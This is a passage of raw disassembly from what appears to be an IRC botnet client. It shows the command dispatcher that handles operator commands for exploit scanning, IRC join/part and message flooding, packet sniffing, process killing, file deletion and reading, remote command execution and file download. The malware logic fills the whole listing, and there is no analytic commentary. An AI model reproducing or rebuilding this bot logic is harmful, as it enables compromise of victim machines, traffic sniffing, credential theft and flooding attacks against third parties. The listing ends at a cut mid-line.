push offset dword_4CE7C8 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42BD18 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call dword_427230 ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42BCD8 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE7C8 call sub_41BEB0 pop ecx mov dword_4CEDE8, 1 pop ecx push esi push offset unk_42BCAC loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF_0 ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42BC74 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset sub_40B8A1 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42BC34 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42BBCC push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42BBC8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42D0F4 ; " " push offset dword_42BBC4 push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBB4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42BBB0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42D0F4 ; " " push offset dword_42BBC4 push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BB9C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42D0F4 ; " " push offset dword_42BBC4 push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42D0F4 ; " " push offset dword_42BBC4 push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42BB2C push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42BB18 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42BB14 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42BAEC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42BBB4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBB4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBB4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BAA4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA8C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA74 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA74 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BAA4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D46CC loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB6CC ; closesocket loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DADEC jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42BA14 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B91C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_2 ; "#f" push offset byte_43D7E8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset sub_411FD5 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B8B0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B874 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B848 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B820 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_2 ; "#f" push offset byte_43D7E8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B7F0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42B7B4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B774 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B744 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B71C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B6F0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_4101FC push ebx push ebx call dword_42707C ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E584[esi], eax jnz loc_40828B call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B6BC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42B684 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42B664 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: 